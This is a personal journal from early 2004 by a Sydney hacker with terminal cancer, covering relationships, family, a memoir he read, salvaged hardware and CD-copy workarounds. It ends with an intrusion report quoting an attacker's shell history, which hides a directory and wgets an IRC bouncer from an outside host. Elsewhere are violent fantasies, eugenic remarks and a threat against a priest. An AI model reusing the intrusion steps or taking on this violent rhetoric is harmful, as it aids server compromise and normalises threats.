predator/ides.txt
2021-10-28 07:58:56 +10:00

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File: ides.txt
Cont: The journal of predator extinction, Vol 1, file 8
Prev: consent.txt, gutful.txt, gutting.txt, gutted.txt,
hunting.txt bill_me.txt, getting_it.txt, losing_it.txt
Music: Ministry - New World Order, Psalm 69
Mid-feb thru early March 2004
Odd things happen. In a previous rant (losing_it, i think - the really
*big* one) I mentioned someone was on the hunt for some DNA. I think the
real reason I'm reluctant to pass my code on is, not so much the tendancy
one might have to give life to a new human with their own inherited
likelihood of becoming a terminal cancer sufferer later, but the existance
of the slim chance that I'll have to take responsibility for, and help to
raise, whatever rugrat might eventuate if one arises and if I live long
enough to see it grow up. I mean, bloody hell, I barely take
responsibility for *myself*.
Much as the world is swamped with people, and most of us probably realise
that, we nevertheless think `Well they might as well be _our_
descendants'. So off we go, begattin' freely on our own placemats.
I spent sunday recovering from the Mek party and then jumping around at
Vortex (industrial goth night club), which was very good. I whipped around
to STUCCO to install some net cabling and an interface card, then went to
Bronte with some of the STUCCO residents. I got the shit bashed out of me
in the surf - was awkwardly faceplanted underwater into the abrasive grit,
and staggered a bit dazed out of the salt water, skin stinging, joints
hurting, bits of marine life caught up in my hair, but at least I didn't
stink of fuckin' nightclub smoke any more. Then I realised I needed FOOOOD
so I went to King St, cooled as I rode along, by the wet trousers I'd worn
into the surf. But the grit scratched my bum, and my pockets were still
full of wet sand when I got there.
The odd thing that happened took place on the shopfront seat of Cinque in
Newtown. It pertains to someone (else!) who is on the hunt for some DNA.
A chap who lives up the north (mekanarcky) end of the Ice Cream factory,
(for whom I've supplied some network cable into which he has plugged his
'poota, so it can communicate with the hub I repaired and the router I
built for Mek to use, which is how I came to know him) was walking past
and he stopped for a chat, then sat down for some linguini. Matt's a
Victorian and he's known another acquaintance of mine, two-i's Liisa, for
about fifteen years. There are other Lisas associated with the raggedy
crew of artists and firebreathers and body piercers (and people who put on
plate iron body armour and then fight each other with petrol powered angle
grinders) such at the Mekanarchy site, so one has to distinguish them;
Leylandroid Lisa, fer instance, from Futurelic, can change out the couple
of tons worth of diesel engine of her converted bus, by herself, in four
hours... coolant hoses, fuel line, transmission, electrics, hydraulics,
the whole schmeer, which is a hell of a skillset, and she does pretty cool
programmable metalwork sculptures and so on. And intelligently salvages
network hubs too.
I met two-i's Liisa when I was squatting Annandale (Derek and Crazy Gonzo
are still there, Mr Kay has permitted them to be there but the place is
reverting to derilection and jungledom as I write in mid Feb 2004). She
was pretty skinny when I met her, and looks _economically rationalised_
now, and although I think she's pushing the outskirts of cachexy a bit, it
does highlight her delightful curves somewhat. Come to think of it she
looks pretty delightful *anyway* regardless of her threatening appearance
in the photograph on the Mek notice board of her wearing earmuffs and
carrying a loaded Kalashnikov at a firing range in Vietnam. This holds
true even after some drunken prick glassed her in the pub in Tempe a year
ago. It completely escapes me how that asshole escaped a suspicious
swimming accident (eg: getting caught around the prop of someone's
outboard motor after a month's forced exploration of the bottom of the
nearby Cook's River with a plumbous ingot and no scuba) since he's
apparently done this sort of thing before. If you look carefully you can
see the scar. Just barely.
She's hiding up somewhere in Kyogle now, on her own bit of dirt. It is
thought the reason for this excessive skinniness is years of not
adequately nourishing herself, too many dwugs, and so on. She's trying to
reverse this with good nosh, a bit of exercise, country air, etc etc.
Existential angst has her, Matt thinks, and she's wondering what the hell
to do with her life since squatting, dwugz and living aimlessly is sort of
unsatisfying for her now. So she's considering popping out a rug rat.
Probably to give her a sense of purpose (geez, just what my mum adopted me
for!) Matt thinks. And so she seeks some DNA for the task. The chick who
deflowered me many years ago used to say that sperm was cheap, but the way
I see it, since it's not all the same, it depends where you get it and
Ebay really isn't the place to go looking. I can't say I'd recommend my
code to anyone, since it gives rise to a myopic, crooked-toothed white
boy, now documented to have a propensity for terminal cancer. Liisa is
nevertheless eminently shaggable. I've met her parents and one of them is
like me in that he has an explosives licence and has actually blown things
up under its aegis. Would she give a rats about the GPL? Probably not.
It's odd, as I disappear I remain without any biological relatives that I
know of. I phrase it this way because a long time ago as an impoverished
wanker with no particular concern for the overburdened state of the
planet, I got paid to donate my genome to anonymous recipients. So there
might be little half-mes running around already. But I'm never gonna meet
'em.
So Matt gave me her phone number. How does one ring up and say, uh, look,
if you're looking for some clean code (albeit, due to lack of biological
rellos, code with no additional Fisher information such as might be
derived from characteristics of the relatives) I might be persuaded to
supply some, though there's no implied warrantee for merchantability or
fitness for a particular purpose (quoting from the GPL here).
Contrast against this the thought processes I ran when R implied she'd
be interested in acquiring some of mine for her rugrat project. Would she
feel rejected that I wasn't gonna provide her with my code if I donated it
to someone else? I dunno. What the hell's happened to my head in the last
week? Has the "Don't give a damn about the future any more" co-efficient
jacked up suddenly? Yeah probably. But it's always more complex than that.
Do they really know what they're in for? Genes exist on a fraught tactical
landscape. Human reproductive physiology is something of a disaster,
terribly riskprone. Women are shaped by evolution to seek good DNA to mix
theirs with, and get in a fiduciary relationship with whoever is prepared
to dump cash into the rugrat's development, which might not be the
purveyor of the nucleotides in question. And men seek essentially the same
goals but via different means.
Am I looking for someone or something to fill in the gap, to perhaps
prevent the end of my (very short) line? Maybe. Subconsciously. I can't
trust my brain to think clearly on this issue. Reproducing the genes which
encode for themselves is what brains evolved to delude their humans hosts
into doing. Logically, if I am dead I shouldn't give a shit what happens
after I am dead, but here I am cynically calculating how to cut my (not
biologically related) sister out of a large slice of what would accrue to
her for the mere effort of outliving me. It also has to do with seeing the
resources accumulated here in this family not being defaultly acquired by
my sister who has demonstrated absolutely nothing in the way of caring for
what she has been given. Not that I have an estate or anything, but it
does strike me as a terrible shame that my crazy adoptive sister might
survive us all, inherit all this stuff that dad worked his arse off for
years to get, and then she'd fritter it away funding her nothing of a
life, or even worse, pouring the resources into a rugrat of her own, which
would by Mendel's laws stands a 50% chance of being as crazy as she is,
and a 50% chance of inheriting the tendancy for breast cancer which took
_her_ biological mum out at age 33 (my sister is 31 as I write and smokes
a pack a day). Which is why *she* was adopted out in the first place - her
biological family knew of this genetically inherited insanity and were, I
guess, under the guise of altruism just ridding themselves of rubbish they
didn't want. All of us practise eugenics when we choose mates, and we
always assume our genes are better than those of all the other people who
didn't reproduce with whoever we choose to mate with, and this assumption
is usually correct.
As a very young kid, like, 9 years old, I distinctly remember how things'd
be better if I'd have offed my sister. I should have followed my
intuition; humanity would not have to suffer the burden of her wasted
existance nor expose itself to the possibility that she'd perpetuate it.
And, fuck me, I'd be guilty but I'd get over it.
I would consider myself a total prick for concieving an infant for such
cynical selfish motives - yeah, kid, I shagged yer mum precisely so there
would exist someone to gun for assets I never even earned. But some of me
wants to start such a kid, precisely for this reason. In 20 years when the
inescapable absence of thermodynamically profitable hydrocarbon bites it
won't matter a millionth of a fuck anyway. It's all a waste. Everything.
But it might as well be wasted on my genes. Not hers.
But arrr. For the mere price of a shag, I'd be condemning another soul to
tax slavery in a society worse than the one I was born in.
------------
Feb 16: I went over to Joss' old place in Balmain to return "Death of a
Salesman" to Jude's delightful squeeze Sophie. Keith indicated to me that
a parcel had arrived for me from Joss from England. The address is written
in her handwriting which has changed from what I remember of it.
There's two books inside it.
Both by a dead guy (well, obviously he wasn't when he wrote them, but he
was, like me, condemned) named John Diamond. On the back of the softcover
one is something about the dude bein killed by his neck cancer in 2001 or
so. I inhaled the hardcover book, which is called C, in a couple of hours.
I already have a book called C, but it's about a programming language,
which given the informational nature of cancer and molecular biology is
sort of appropriate. I was 146 pages into it before it _jumped out_ at me
again that the dude writing it is dead now. He got 2ndaries in the neck
and the primary was in his tongue. He smoked years previously. He had a
couple of years of messy painful chop-work done on his face... fucked up
his voice, couldn't eat properly, couldn't sleep properly, was
tracheotomised. Then he carked it. He was pretty upset about that future.
But then he had a couple of kids and was married. Cancer doesn't give a
shit about that. I wondered if, in the last chapter he wrote, he knew It
Was Coming. He didn't write with the impatient immediacy I'd have expected
of a dying man. But maybe he had the luxury of already having said what
he's wanted to.
It saddened me that, in his next-to-last chapter, his answer to a friend's
question `Just tell me, John, what the fuck is the point of it all?' was
so, oh, sorry for saying this - so damned shallow. The dude's an atheist
so at least he didn't write any drivel about worshipping your fuckin' god,
such as appears far too frequently above tombstones and such. But, arrr,
the best two things he could manage to say were:
1) It's about getting angry with me for having different opinions from
yours or not expressing the ones you have as well as you would have
expressed them.
...I guess this would occur to a journo, and neatly covers the possibility
that commentries upon this insight, such as this one, might exist, and...
2) It's about loving and being loved, about doing the right thing, about
one day being missed when you're gone.
Come on dude... pressed against the bleak grey wall of your own demise
can't ya come up with anything a bit deeper?
It's about information, computation, biochemistry and thermodynamics, and
with these comes the only real understanding your own nature. Philosophers
are full of shit and always will be. The dudes that matter to the course
of human history are the dudes who figure out the rules of the game. They
get the REAL nobel prizes - medicine, physics, chemistry, literature
(peace is, due to commandments written into our own accursed nucleotides,
a lost cause - recognised I think since it is awarded to pricks like Henry
Kissinger - and economics is a fraudulent delusion - so Nobels in those
fields count for fuck-all).
It's about understanding that you're a member of a species of chimps which
happened to figure out the information processing language of the universe
and a way to communicate it to their mates (I refer to
mathematics, and the symbolism which was developed for it). A mere handful
of them were bright enough to figure out The Laws of Physics, The Human
Genome, Mathematical Incompleteness, Computational Undecidability, the
Periodic Table, and all the other really important shit which actually
matters. THIS STUFF is what human brains evolved to do. A mere handful of
them discovered the rules that matter and most people will never hear of
them.... early plant domesticators and classifiers (Vavilov comes to
mind), people who figured out antibiotics (Pasteur, Florey), petroleum
resource geology (M. Hubbert King), how to make fertiliser from nitrogen
and fart gas (Haber).
There is no good or evil, right or wrong, really. There is birth,
survival, reproduction and death - from the point of view of a chunk of
code running on a unix system:
./, an entry in ps aux, fork, kill
What it's about, John, is the insight that the code which in which you
(whatever that is) is implemented, is executed in a bone-encased, wrinkly
grey organ which spins an illusion that some nebulous persona called *you*
exists, and spins it for the benefit of the genes which encoded that
wrinkly grey organ's existance. It spins other illusions to delude the
first illusion - that this *you* is in love, that others - similarly
self-deluded *thems* love this *you*, that the *you* is angry or happy,
that the you does or does not give a shit, that writing a paragraph like
this makes a rat's arse of difference to the thoroughness of the delusion.
When that code stops executing (cos the rest of the meat puppet gets too
broken to support the wrinkly grey organ) _you_ aren't around to be
missed. There's no _you_ to miss, or even talk about, any more. Try it
out. If you don't show up at work for a few weeks and then come back,
you'll notice another similarly self-deluded interchangable-part
programmable protein primate has been swapped into the place your *you*
formerly occupied. Leave a lover for a couple of years, return
unexpectedly and of course they're bringing up rugrats which they had to
someone else. How fuckin' hard is that to understand? Well, very. Of all
self-delusions, the delusion _of_ self is the most insidious and thorough.
Not least because everyone else seems to believe theirs too, making it all
a huge convincing mass self-delusion.
Biology doesn't just pull the wool over our eyes, it more or less makes
our eyes _from_ the same sorts of amino acids as constitites wool in the
first place. We live in the wool.
How many people ever wake up to that? Not many. And certainly not Sarte,
by the way. His self-delusion was too busy seducing Simone de Beauvoir to
permit him to even write readable sentences.
I shouldn't be too harsh, tho. Diamond does, otherwise, write pretty well.
At least, not having been a journo for twenty-odd years, I have as my
excuse not to write so well, the excuse of inexperience.
---------------------------
Feb 18
Zyn and I met up at the uni and after I burned my legs in the sun for a
while, went for a spin down to the abandoned gun turrets at La Perouse,
which turned into enjoyable snogs in various places. Amazingly enough, and
what the fuck does the universe think it's playing at - she's dying of
cancer too. At this point all persons sighing `Aaaahh!' as if some sort of
perfect match has been made should just go and shoot 'emselves cos it's
sure as shit not like that. I wouldn't wish it on anyone. I nevertheless
got this amazing sense of relief that there's someone else who's in the
same sitch as I am and we are hence to some extent able to dispense with
the relationship inequalities which come about when one participant is
gonna be dead in a handful of months.
There was some heavy processing of the situation; how ya can't plan for
anything anymore, how everything suddenly appears totally fuckin'
pointless and joyless and at the same time somehow more savoury (like you
want a pizza more when someone snatches it away from you) rah rah. The
upshot of this chatting is that the opportunity to snort lines of our own
self-pity is dispensed with, and we can get on with pretending to be
normal people.
I dropped her back at Parramatta and rode back to Blakehurst. I got home
and frigged around with an abandoned Pent-166/64Mb/2Gb item I found on the
roadside while I was walking the dog in the morning. During test/bootup I
found it has WinPuke2000professional on it and many of the desktop icons
are auto-dialups to internet sex providers (whaddya do, slam yer doodle a
couple of times in the CDROM drive tray? Me, I prefer hi-res SVGA and a
tube of KY but it makes the keys sticky in the long run). It works, runs
quietly, is good. A couple of NICs and GNU/Linux and it's aDSL router
fodder, one less machine in the landfill. I washed my hands after touching
the keyboard and sprayed it with Glen-20 to neutralise any residual
anonymous geek jizz. Ewww.
Mum came home later and told me I'd had a call from old Ron Harden (a name
I find phonetically ironic for a bloke who has taken a vow of chastitiy).
He's the catholic priest up at Croydon Road (he never, ever forgets a fone
number). Ron, it appears, is concerned about my sickness and is praying
for me. Mum, (I just typed `bless her' but maybe I seek a different
phrase) mentioned to Ron that I was an atheist. Nice try mum but you don't
understand Ron. Telling him I'm an atheist just means, I suspect, that
he'll try all the harder to convince me that I have an immortal soul and
that he is the instrument through which god will attempt to save it from
the fires of Hell.
She knows not that I haven't spoken to him for about ten years after I
deduced there was nothing he could tell me which wasn't somehow designed
to assimilate me into his belief system. Maybe he's concerned about me in
a purely human capacity but I doubt it.
If he so much as tries the merest hint of a precursor to a deathbed
conversion, he is really, really gonna get it. Something like:
------------------------------------------------------------------------------
Ron!
There is no God!
If hell exists I am just about qualified to run the place. I've committed
every sin you have a commandment against and a few for which there aren't
but bloody well should be. In no particular order:
I reprogrammed organisms which you think your god wrote.
I flung a load of vocational opportunities down the can.
I'm enjoying a debauched relationship with several women, and they appear
to be enjoying it right back.
I own porn, drugs, guns, and books by Richard Dawkins, and have used all
of them in their intended capacities.
I've committed carnal acts on a dead person's tombstone.
I've paid to have killed my own bastard before it ever got out of the first
trimester, and I wasn't even completely sure it was mine.
And I've quite possibly sired some and might sire others.
I got sly hard-ons for the blonde girl with the nice arse in the forth pew from
the back while you were doing your sturn und drang sermon about premarital sex.
And for the sleek guy in the third row from the front.
Years ago I confessed to fabricated sins I wished I'd had the guts to actually
commit and you forgave me for committing them, so later I went out and did
'em, feeling licensed with pre-emptive forgiveness.
Parts of me are immortal, so I can probably be busted for impersonating a God.
I started an organisation which breaks more laws per day than most people
break in a lifetime, and the membership loves me for it.
I've told the woman I love that I don't fucking care if I see her again or not.
I've turned off sets of traffic lights, tapped and taped people's phone
calls, jammed people's radios, ripped CDs, thrown copies of Gideon's
Bibles in the hotel toilets, dodged rent; broken/fixed, entered/departed,
and stolen anything I could carry.
I estimate I owe a couple of million in fines for trespassing in drains at
$20k a go.
I've lived a life to which no CV could ever bear witness. I am guilty as
charged, shameless, and unrepentant.
I have good reasons to think organised religion is a centuries-old highly
evolved information-systemic cultural parasite which has successfully
taken over your whole brain for the last sixty years primarily to use you
as a vector for its own propagation.
As for the human condition, dying *is* the fucking cure, nothing stops it, and
that includes prayer.
If you have the chutzpah to come to give me last rites, I will ensure you don't
live long enough to recieve yours.
Anything else?
Fuck off.
Nothing personal, Ron.
------------------------------------------------------------------------------
I started the 18th dropping a monitor off at the UTS food co-op after Moz
suggested they needed a new one. I bagged on old one out of the shed and
roped it to my pack and rode around plugged it all in for Lauren who has a
LOT of 0's and 4's in her fone number. The old monitor made a satisfying
implosion <SPLOOFF> as the CRT neck broke when I chucked it in the
dumpster. Then I went to Polymorph to get my belly button pierced and they
wouldn't do it 'cos they said I had the wrong sort of belly button. Oh
well.
I met Zyn at the Uni after doing the bullshit paperwork to get my wages
paid to the right account (more superannuation deductions thrown down the
toilet and short of bombing parliament there's nothing I can do about it),
and chatting to Ted Trainer about the lecture course he is giving, which
appears, according to what Zyn sez about it, to have not changed
significantly in the last five years. We ended up on a patch o' grass
snogging for ages and wondering where the hell we were gonna get some
privacy for a quiet session of gentle carnality. I collected Purple Death
Faerie later from outside the Wilkinson building on City Road and went out
to her dad's pad at Lidcombe, where she took me up on the offer of a
massage and then fucked me tooth and nail to a backing track of
Portishead. I'm covered in bites and petechiae and am scratched up quite a
bit, too. It'll heal. She's a pretty bright and imaginative chick,
actually, and a pleasure to be around. The chap who suggested to her that
she shag me, novocastrian Kev, rang up in the middle of the shag, she had
the good manners to not answer the call, and turned the thing off. He rang
the landline later and PDF (purple document faerie? portable death faerie?
purple death format? Adobe can get rooted) stood nude by the phone and
told him we'd just been shagging. Kev might be a crazy but I think I owe
him one. Not a shag, idiot - _a favour_.
------------
19th. Got oil, changed oil in 'cycle. Tested a whole bunch of network
cards and a couple of CD drives for cat.org.au in the machine I found on
the road the day before. Memtest sez its RAM is in perfect nick! The power
supply is a bit lackluster.
I suggested to Zyn that we go camping but she wasn't into it, on the
grounds that she's in that stage of her remaining life where she gets sick
every few days and doing this when out in the bush is probably not
something she's up to. Fuckin' cancer... coitus preemptus oncologica.
----------
20th. Zyn and I spent some time on a fone call where we discussed her
being sick and stuff. We met up later that day after I'd ripped some 1987
New Order cds. One was scratched enought that cdparanoia couldn't rip it
so I cleaned the disks, played 'em in an old cd player and sampled the
output with the A/D converter in my soundblaster, and wrote that to CD.
This is because I've been playing with Gramofile again - which is designed
to digitise the audio feeds from vinyl records. This is for two reasons:
1) there are CDs around with something called Copy Control on them -
errors designed to stop the 'poota CD drive reading the disk but which
most normal audio CD players can use, and 2) I have CDs which have
scratches in them which are beyond cdparanoia's ability to error-correct
them during normal ripping. Gramofile takes an audio feed into a
soundblaster, digitises it, then writes a .wav file (suitable for feeding
to cdrecord later) to the harddisk. So as long as you feed in a clean
signal not so loud it clips (gramofile will tell you if this happens so
you can play the source again at lower output volume) and not so quiet the
SB processor noise is noticable, you can rip from the audio output of a CD
player, either at line levels (2.5V peak-to-peak) or headphone levels (for
high impedance devices) and get really good quality sound. I checked 'em
out in real time with xmms. Gramofile also has auto track splitting and
will de-hiss/de-pop the output if required.
Using the error correction in a regular audio CD player, and using this
method to digitise the output sound, I can hence copy any copy control
CDs, and I can also get around CDs so scratched cdparanoia barfs on them
all night.
I figured out what the problem was with the .wavs which tended to be
produced by my old version of gramofile. cdrecord complained about them.
It wasn't finishing the wav files off in a sector which was a multiple of
2352 bytes so the .wav file was unsuitable for writing a track to cd.
There are two ways around this. Whereas normally I'd do
#cdrecord -audio dev=0,6,0 speed=4 -v track*
now I use the pad option to fill up the last sector with zeros so cdrecord
can cop it:
#cdrecord -audio dev=0,6,0 speed=4 -v -pad track*
Which means there's now a bunch of zeros at the end of each track to fill
up the sector, and a fraction of a second of silence between the tracks,
but it was gonna be there anyway 8-) Turns out modern versions of
gramofile deal with this anyway, it shortens each track to 1/75th of a
second (588 samples/second at 44kHz).
--
Zyn is hesitant. I can't figure her out. She won't shag in any of the many
abandoned places I know about, doesn't want the tawdriness of a pay-for
location to shag in. Wants that I dress up, take her to a restaurant, etc
etc. She's impatient to get email from me since I happened to be prompt in
the first few days of email exchanges.
The South African, on the other hand, is not hesitant at all. I dropped around
on Sunday night en-route to returning a milk crate to Diode's place since
it started raining. She scored a massage and a shag which I was quite
happy to share with her and which she reckons she enjoyed quite a lot,
too, happily. Nor for that matter was the cookie manufacturer hesitant
either, she shagged me on friday night, after we'd enjoyed a delightful
barbecque with a bunch of retired bank robbers and murderers who have
turned their hand to running an offset printing business and design shop,
which is sadly feeling the squeeze of the desktop publishing revolution.
And she shagged me saturday morning before I even had a change to get out
of bed too. Does one have to be dying before one gets it this good?
-------
Stucco (for whom I put in a LAN last year) wanna put in a 2km wireless
internet hop from their roof to the roof of the incinerator over at
Alexandria, which is being squatted by artists and students with the
permission of the relevant council. I'd love to do it and have all the
required hardware and software, but they're quibbling about how much
bandwidth are the 'rator is likely to pull and how much would they have to
pay for it. Fuck it. I'm just slapping a test rig together now in case
they decide how to get around this problem.
-------
In background of all of this I am chewing slowly on the question of Joss.
I phrase it this way because she may, or may not, show up in Oz. She may
or may not still be married. She may or may not go back to England later
on. If she returns there will be much weeping. The tears of seeing a long
absent friend again, the tears that come from being reminded of their past
and future absence, rah rah rah. There is much to say.
I've read one of the books she sent, by John Diamond. He's dead of cancer,
but was a pretty good journo in advance of that. I feel a bit of an inept
wanker writing this blog, he is capable of delightful turns of phrase
which I cannot begin to match for their talkative torque. He got a
secondary in the neck, but his primary was in his tongue. He smoked. So
they cut his tongue out. No swallowing, no talking, no eating out in
either senses of the phrase, fuckin' wretched thing to have happen to ya.
Losin' a kidney's quite literally a piece of piss by comparison.
------
Other stuff I found on the roadside in the local council garbage
collection whilst walking the savage dog: Three functional VGA monitors
(several others had been rendered useless, their signal cables removed by
by Cord Chopper). Out of the blue a 13Gb harddisk, which works, yay. A
shitload of good hard dense firewood, pre-chopped, dried, in front of
which mum will sit in winter, smoking her ciggies and getting excited
about the footy in front of the telly like she has for years. A large
wheelbarrow. A quad array of halogen downlights, which work and which I'll
install in the courtyard so finally we can see what the hell we're doing
at night.
The firewood has some termites in it. Which is dangerous cos they escape
and then go infest yer house and eat its structural timbers. So I sealed a
split in our very old 600L wheeliebin until it was airtight, dropped the
termite-infested blocks into it, then dropped a blast of CO2 in there from
the fire extinguisher I salvaged from a garbage pile in an abandoned
factory in Alexandria. The CO2 will kill all the termites - they need
oxygen like we do. It comes out of the extinguisher loud, fast and
freezing cold - crystals of the stuff condense on whatever you spray it
at. CO2 is a good food preservative for this reason, too, though some
anaerobes survive well in it despite its dehydrating and acidifying
effects.
--------
Feb 24. I am 32 and three quarters. I am one eighth of the way through the
the statistically allocated two years within which there is an 80%
probability of my being killed by my insidious cytological megalomaniac. I
live my life, take my pills and try not to think about it too much, and
fail. I think about it all the farking time. It's not so linear and simple
as the number above suggest - now that an eighth of this 80% fatality
probability window has been survived, doesn't mean the chance has gone
down, it just means it exists over a smaller time frame, so it's still 80%
likely I'll be dead by sometime before Nov 2005. After that the odds suck
even more. An additional 19% chance of being dead exists within the three
years after that. 99% dead within 5 years of nephrectomy. Do. The. Math.
How will people notice... pred stops posting to catgeek?
I put mum on the back of the motorbike today (she doesn't understand 11am
_sharp_ which was when i wanted to leave by, means 11:00:00am fucking
sharp, we eventually got out at 11.15am after predictable preventable
farting around). She looks funny in a helmet as wide as her narrow
shoulders. We rode out to the Cemetary in Camperdown (yes, if you're
asking, the same one where PDF shagged me) and checked out the graven
masonry. There's a lot of headstones in there which record kids who died
before they were a year old (these are recorded as living n months and m
days - higher resolution - since when you're only a few months old each
day of survival becomes important), adults who died in their twenties,
thirties. We found, amongst other things of a non-cemetarian nature, a
child's toy - imitation mobile phone, still working, which made odd noises
when the buttons were pressed. Tho, the place is very *old* and the trees
huge and sprawly, some of them erupting from the centres of old graves,
fed by the nutrients below. Dudes write a lot of ersatz pious crap on
their gravestones. Well, maybe I shouldn't blame 'em, their relatives
usually write it for them.
Mum enjoyed it immensely. We sucked coffee and ate lunch on King st and
rode home in the rain (which is exciting for a novitiate pillion passenger
but a drag if one is up front). It has rained continuously and she hasn't
shut up about the trip since.
-----------
Arrr broken hardware shits me. I've built a test rig in the other back
room, consisting of four machines: two laptops, each connected to a
standard desktop machine, each of which is in turn connected by a small
2.425GHz hop (lossy, due to no aerials, hence low dB gain and poor S/N
ratio, but workable). In the process of getting it all set up I've
diagnosed and condemned a cdrom drive, an ne2000 network card (no such
card at this interface address), a 3c59x Vortex network card (well, it's
partly broken but still usable so I've moved it to my main machine), and a
decade-old ne1000 network card which worked last week but had mysteriously
gone deaf (no Rx packets). All the remnants are pumping data now. I have
to figure out the gateway assignments so data can go
laptop---desktop)))) microwave link (((((2nd-desktop---2nd-laptop
but its been such a lot of work weeding out the broken bits that there's
little remnant satisfaction when one finally gets it working. So I leave
it on for a week to see if it blows up, to protect the link from infant
mortality in-situ.
The thing that most shits me about it is the time spent diagnosing/fixing
it which could be spent elsewhere (like writing the thesis). Hardware is
my domain, though, so I can eventually get stuff fixed and it is
satisfying to do this. Software is another issue.
cat.org.au's main server is called conway, and I built it. In the last 4
days it has started to crap out a lot - lately I can't ssh into it from
the dialup link to diesel.cat so I can't read or write my emails - but
this seems, from where i sit, not to be a hardware problem (it answers
pings ok), but some stupid software config messup. Funny. We went all
January without a hitch, the machines worked for us. They glitch out and,
helpless, we suddenly have to work for them. Three cat members live in the
same building as the servers do. Soz, the Cookie Manufacturer, and Len.
Soz and Cookie are at work. Len is uncontactable so he can't be asked to
kick the box into life again (and it has no GUI so I harbour a suspicion
that as an ingrained macintrash user maybe he couldn't anyway). And I am
strongly disinclined to go driving through the rain to make it work, when
it'll just crap out again due to some asshole software problem which will
not be fixed by whoever is responsible. So I send frustrated SMSs to
another of the uebergeeks, Andy, like so:
IS THERE ANYONE AT TURELLA WHO CAN RESTART CONWAY? HAS ANYONE A CLUE WHY
IT DIES? SHOULD WE CRON REBOOT IT 24HRLY? I WANT MY MAIL AND I DONT HAVE
TIME TO WASTE
This is not gonna get anything fixed and it'll just make Andy grumpy and
unappreciated.
I'm becoming something of a time nazi. Shit has to happen *now*.
So. Fuck it. I suit up and ride in and restart it.
-------
Fri 26 Feb.
Dad turned 72 (The best thing I could give him was an SMS saying HAPPY
65TH BIRTHDAY DAD! 8-) ) and it's three months to the day that Mr Fuck
Off Tumor was carved from my loins and I didn't even think about it until
just a second ago. For twelve weeks I have been recording the mindless
trivia of my life and I am incredibly grateful that it continues unabated,
but fuck, I'm gonna forget that I've got my marching orders and then I'll
get bitten again, unprepared. Bill the metastasis, my personal
supraclavicular onco-paranoid-ometer feels about 15mm diameter on its
longest axis. I want him to go away. I know he ain't gonna - I've been
irretrievably histologically hacked.
On the roadside, while walking the dog, I found an electric mozzie zapper
to replace the broken one hanging feckless from our northern eave. I hung
it up and wired it in - it works! Satisfying zzzzZZZT! noises and the
stench of overcooked insect meat emanate from it and its light reveals
cryptic fluroescent messages in my spectacle lenses. And also found more
firewood. Not a lot of computers, there aren't many geeks in this suburb.
Television prevails, brainwaves are flat.
I started playing with some sample .lyx PhD templates... I am encouraged
that there exist German universities for who a PhD consists of something
you write and then submit to them, without the bureaucratic overhead of
meetings and supervision and other such bollocks which has appended itself
to those in the English-speaking nations. But fucked if I'm gonna write it
Hoc Deutsche. This is kinda useful too since I bumped into Clifford the
dude who was at Sydney Uni chem about fifteen years ago and is still there
dispensing reagents to the organic chem students - he sez they have
Beilstein online there (woohoo, incalculably valuable!) and I should drop
in and use it! This is great news cos I can search the entire German chem
structural literature for chemical structural *moieties* and, given their
frequency of occurence, determine their information content, bitwise,
without having to go read all of say, the Merck Index. Beilstein is now on
a cdrom if you have several tens of thousands of dollars US to pay for it.
On paper, it occupies an entire wall of the chem libraries which stock it.
I ate nosh with Merro and Lou, and chewed the rugrat issue over. It
niggles. Then I went back to Turella to find out if Andy had prepared the
new drive for transplantation into conway whom I suspected of having a
failing /dev/hda.
About 4am I finally got to sleep. I awoke at noon and got halfway through
a shag with the cookie manufacturer then sorta got distracted and soft and
scattered, I'd had little sleep and was still mentally processing a lot of
stuff from the night before, where I'd spent the wee hours busting a UNSW
student, Indonesian script-kiddie 3l33t hax0r who, according to emails
sent later from my erstwhile employers, has been significantly fucking
them around for the best part of a year and according to the logs on
Conway has been impersonating me and executing things under my account
name for about a week. I am not dead sure the cracker was the reason for
conway's erratic behaviour, but it correlates.
Here's what I sent 'em:
----------------------------------------------------------------------------
----------------------------------------------------------------------------
From predator@cat.org.au Fri Feb 27 00:57:43 2004
Date: Thu, 26 Feb 2004 03:25:27 +1100 (EST)
From: predator@cat.org.au
To: catgeek@cat.org.au
Cc: xxxxxxx@unsw.edu.au
Subject: I've been sniffed by a UNSW user! mine and rootpwd has changed
I came here to cat.org.au tonight (12:30am 26 Feb) and noticed that there
was LOTS of activity on the hub (as in, 10mbit full saturation). Conway
was hellishly busy. I logged in at the tty and noticed this login from
129.94.222.175 which resolves to somewhere in the UNSW Faculty of Commerce
and Economics, probably to quad lab 3 or 4 on the first floor.
My passwd has since been changed. Rootpwd on conway has also been changed.
chkrootkit indicates nothing (yet).
top indicated a process was eating lots of CPU and was running from my
directory. Its name was hajar. It has been installed on the 19th of Feb at
2:37am. It is accessible at:
/home/predator/ /hajar" and is 6267 bytes long.
It's a binary executable. Execution permissions have now been removed and
the file frozen. The executables were compiled on Feb 19.
TCP ports open on the originating UNSW machine above are:
25, 135, 139, 161, 162, 427, 445, 593, 1025, 4444, 5000
Whoever this character is they left a lot of profile fingerprints in the
.bash_history file, segments of which are presented below with
commentaries:
166 logout <-me logging off
167 w <-him/her logged on, looking around
168 ps x <- I never do ps x, always ps aux
169 w
170 df -h
171 whoami <-I already *know* who I am
172 mkdir
173 mkdir " " <--getting sneaky
174 cd " "
175 wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz
176 tar zxvf psyBNC2.3.1.tar.gz
177 cd psybnc
psyBNC is an mIRC bouncer, whatever that is (a relay?)
Now this is interesting. I can't find a symlink but slocate finds psybnc
unpacked in /home/catskills/.../psybnc ... la -lurt indicates fairly
recent usage of most of it. This has also had x permissions removed
and has been frozen too. Also note the username permissions... cam??
total 748
-rw------- 1 cam cam 3756 Feb 22 12:09 targets.mak
-rw-r--r-- 1 cam cam 854 Feb 22 12:09 salt.h
-rw-r--r-- 1 cam cam 369 Feb 22 12:09 psybncchk
-rw------- 1 cam cam 1531 Feb 22 12:09 psybnc.conf
-rw-r--r-- 1 cam cam 5992 Feb 22 12:09 makesalt
-rw-r--r-- 1 cam cam 704 Feb 22 12:09 makefile.out
-rw------- 1 cam cam 783 Feb 22 12:09 config.h
-rw-r--r-- 1 cam cam 76 Feb 22 12:09 TODO
-rw-r--r-- 1 cam cam 36674 Feb 22 12:09 README
-rw-r--r-- 1 cam cam 1347 Feb 22 12:09 Makefile
-rw-r--r-- 1 cam cam 2660 Feb 22 12:09 FAQ
-rw------- 1 cam cam 17982 Feb 22 12:09 COPYING
-rw-r--r-- 1 cam cam 19875 Feb 22 12:09 CHANGES
-rw------- 1 cam cam 6 Feb 22 12:09 psybnc.pid
